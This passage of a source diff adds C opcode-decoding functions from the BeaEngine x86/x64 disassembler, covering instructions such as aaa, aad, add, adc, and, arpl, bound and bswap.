((*pMyDisasm).Instruction.Mnemonic, "aaa "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + GV.EIP_++; + }; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ aad_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Archi == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aad "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 16; + if (!Security(1, pMyDisasm)) return; + GV.ImmediatSize = 8; + if (*((UInt8*)(UIntPtr) (GV.EIP_+1)) != 0x0A) { + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_+1))); + #endif + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + GV.EIP_+=2; + }; +} + +/* ==================================================================== + * + * ==================================================================== */ +void __bea_callspec__ aam_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Archi == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aam "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 16; + if (!Security(1, pMyDisasm)) return; + GV.ImmediatSize = 8; + if (*((UInt8*)(UIntPtr) (GV.EIP_+1)) != 0x0A) { + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_+1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument2.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_+1))); + #endif + (*pMyDisasm).Argument2.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument2.ArgSize = 8; + } + GV.EIP_+=2; + }; +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ aas_(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Archi == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "aas "); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REG0; + (*pMyDisasm).Argument1.ArgSize = 8; + GV.EIP_++; + }; +} + +/* ======================================= + * 00h + * ======================================= */ +void __bea_callspec__ add_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,5); +} + +/* ======================================= + * 01h + * ======================================= */ +void __bea_callspec__ add_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,5); +} + +/* ======================================= + * 02h + * ======================================= */ +void __bea_callspec__ add_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,5); +} + +/* ======================================= + * 03h + * ======================================= */ +void __bea_callspec__ add_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,5); +} + +/* ======================================= + * 04h + * ======================================= */ +void __bea_callspec__ add_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,5); +} + +/* ======================================= + * 05h + * ======================================= */ +void __bea_callspec__ add_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "add "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,5); +} + +/* ======================================= + * 10h + * ======================================= */ +void __bea_callspec__ adc_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,4); +} + +/* ======================================= + * 11h + * ======================================= */ +void __bea_callspec__ adc_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,4); +} + +/* ======================================= + * 12h + * ======================================= */ +void __bea_callspec__ adc_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,4); +} + +/* ======================================= + * 13h + * ======================================= */ +void __bea_callspec__ adc_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,4); +} + +/* ======================================= + * 14h + * ======================================= */ +void __bea_callspec__ adc_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,4); +} + +/* ======================================= + * 15h + * ======================================= */ +void __bea_callspec__ adc_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "adc "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,4); +} + +/* ======================================= + * 20h + * ======================================= */ +void __bea_callspec__ and_EbGb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + EbGb(pMyDisasm); + FillFlags(pMyDisasm,6); +} + +/* ======================================= + * 21h + * ======================================= */ +void __bea_callspec__ and_EvGv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + EvGv(pMyDisasm); + FillFlags(pMyDisasm,6); +} + +/* ======================================= + * 22h + * ======================================= */ +void __bea_callspec__ and_GbEb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + GbEb(pMyDisasm); + FillFlags(pMyDisasm,6); +} + +/* ======================================= + * 23h + * ======================================= */ +void __bea_callspec__ and_GvEv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,6); +} + +/* ======================================= + * 24h + * ======================================= */ +void __bea_callspec__ and_ALIb(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + ALIb(pMyDisasm); + FillFlags(pMyDisasm,6); +} + +/* ======================================= + * 25h + * ======================================= */ +void __bea_callspec__ and_eAX_Iv(PDISASM pMyDisasm) +{ + if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) { + (*pMyDisasm).Prefix.LockPrefix = InUsePrefix; + } + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+LOGICAL_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "and "); + #endif + eAX_Iv(pMyDisasm); + FillFlags(pMyDisasm,6); +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ arpl_(PDISASM pMyDisasm) +{ + + if (GV.Architecture == 64) { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "movsxd "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,69); + } + else { + (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "arpl "); + #endif + GV.OperandSize = 16; + EvGv(pMyDisasm); + GV.OperandSize = 32; + FillFlags(pMyDisasm,7); + } + +} + +/* ======================================= + * 62h + * ======================================= */ +void __bea_callspec__ bound_(PDISASM pMyDisasm) +{ + + if (GV.Architecture == 64) { + FailDecode(pMyDisasm); + } + else { + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+CONTROL_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bound "); + #endif + GvEv(pMyDisasm); + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Argument1.AccessMode = READ; + FillFlags(pMyDisasm,8); + } + +} + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_eax(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_ecx(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[1+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[1+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[1+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[1+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_edx(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[2+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[2+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[2+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_ebx(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[3+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[3+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[3+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[3+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_esp(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[4+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[4+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[4+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[4+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_ebp(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[5+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[5+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + } + } + else { + (*pMyDisasm).Argument1.ArgSize = 16; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[5+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[5+0]; + } + } + GV.EIP_++; + FillFlags(pMyDisasm,10); + +} + + +/* ======================================= + * 0fc8h + * ======================================= */ +void __bea_callspec__ bswap_esi(PDISASM pMyDisasm) +{ + + (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bswap "); + #endif + if (GV.OperandSize == 64) { + (*pMyDisasm).Argument1.ArgSize = 64; + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+8]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[6+0]); + #endif + (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE+GENERAL_REG+REGS[6+0]; + } + } + else if (GV.OperandSize == 32){ + (*pMyDisasm).Argument1.ArgSize = 32; + if (GV.REX.B_ == 1) { + #ifndef 